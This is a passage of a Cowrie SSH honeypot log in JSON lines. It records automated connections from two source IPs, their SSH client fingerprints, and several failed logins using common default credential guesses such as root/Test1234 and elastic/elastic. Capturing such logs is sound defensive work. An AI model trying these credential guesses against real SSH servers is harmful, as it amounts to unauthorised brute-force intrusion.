{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:05.904973Z","src_ip":"45.153.34.114","session":"8388552b37be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:06.232450Z","src_ip":"45.153.34.114","session":"8388552b37be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:07.320350Z","src_ip":"45.153.34.114","session":"8388552b37be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60910,"dst_ip":"159.203.135.109","dst_port":22,"session":"11706e159220","protocol":"ssh","message":"New connection: 45.153.34.114:60910 (159.203.135.109:22) [session: 11706e159220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:14.175722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:14.180970Z","src_ip":"45.153.34.114","session":"11706e159220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:14.265745Z","src_ip":"45.153.34.114","session":"11706e159220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:14.546357Z","src_ip":"45.153.34.114","session":"11706e159220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:15.634804Z","src_ip":"45.153.34.114","session":"11706e159220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":53234,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcf500d5932f","protocol":"ssh","message":"New connection: 103.75.199.4:53234 (159.203.135.109:22) [session: dcf500d5932f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:21.751922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:21.756409Z","src_ip":"103.75.199.4","session":"dcf500d5932f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:21.847414Z","src_ip":"103.75.199.4","session":"dcf500d5932f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"123456","message":"login attempt [student/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:22.120599Z","src_ip":"103.75.199.4","session":"dcf500d5932f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":46808,"dst_ip":"159.203.135.109","dst_port":22,"session":"a322bb1e9a8c","protocol":"ssh","message":"New connection: 45.153.34.114:46808 (159.203.135.109:22) [session: a322bb1e9a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:22.328706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:22.332251Z","src_ip":"45.153.34.114","session":"a322bb1e9a8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:22.421344Z","src_ip":"45.153.34.114","session":"a322bb1e9a8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234","message":"login attempt [ubuntu/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:22.702156Z","src_ip":"45.153.34.114","session":"a322bb1e9a8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:23.213537Z","src_ip":"103.75.199.4","session":"dcf500d5932f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:23.809230Z","src_ip":"45.153.34.114","session":"a322bb1e9a8c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38674,"dst_ip":"159.203.135.109","dst_port":22,"session":"64ba820ba727","protocol":"ssh","message":"New connection: 45.153.34.114:38674 (159.203.135.109:22) [session: 64ba820ba727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:30.162900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:30.167775Z","src_ip":"45.153.34.114","session":"64ba820ba727","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:30.263541Z","src_ip":"45.153.34.114","session":"64ba820ba727","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:30.600898Z","src_ip":"45.153.34.114","session":"64ba820ba727","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:31.692965Z","src_ip":"45.153.34.114","session":"64ba820ba727","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":38680,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab57c03373b5","protocol":"ssh","message":"New connection: 45.153.34.114:38680 (159.203.135.109:22) [session: ab57c03373b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:38.144685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:38.161618Z","src_ip":"45.153.34.114","session":"ab57c03373b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:38.238706Z","src_ip":"45.153.34.114","session":"ab57c03373b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:38.617006Z","src_ip":"45.153.34.114","session":"ab57c03373b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:39.703881Z","src_ip":"45.153.34.114","session":"ab57c03373b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":36950,"dst_ip":"159.203.135.109","dst_port":22,"session":"8001396f4eaa","protocol":"ssh","message":"New connection: 103.75.199.4:36950 (159.203.135.109:22) [session: 8001396f4eaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:43.487007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:43.491786Z","src_ip":"103.75.199.4","session":"8001396f4eaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:43.582856Z","src_ip":"103.75.199.4","session":"8001396f4eaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:43.856322Z","src_ip":"103.75.199.4","session":"8001396f4eaa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:44.950096Z","src_ip":"103.75.199.4","session":"8001396f4eaa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":60190,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad53a77a1bae","protocol":"ssh","message":"New connection: 45.153.34.114:60190 (159.203.135.109:22) [session: ad53a77a1bae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:46.177289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:46.182139Z","src_ip":"45.153.34.114","session":"ad53a77a1bae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:46.270820Z","src_ip":"45.153.34.114","session":"ad53a77a1bae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q2w3e4r","message":"login attempt [root/!Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:46.536913Z","src_ip":"45.153.34.114","session":"ad53a77a1bae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:47.627151Z","src_ip":"45.153.34.114","session":"ad53a77a1bae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":42682,"dst_ip":"159.203.135.109","dst_port":22,"session":"e75a887771bf","protocol":"ssh","message":"New connection: 45.153.34.114:42682 (159.203.135.109:22) [session: e75a887771bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:54.122845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:54:54.127987Z","src_ip":"45.153.34.114","session":"e75a887771bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 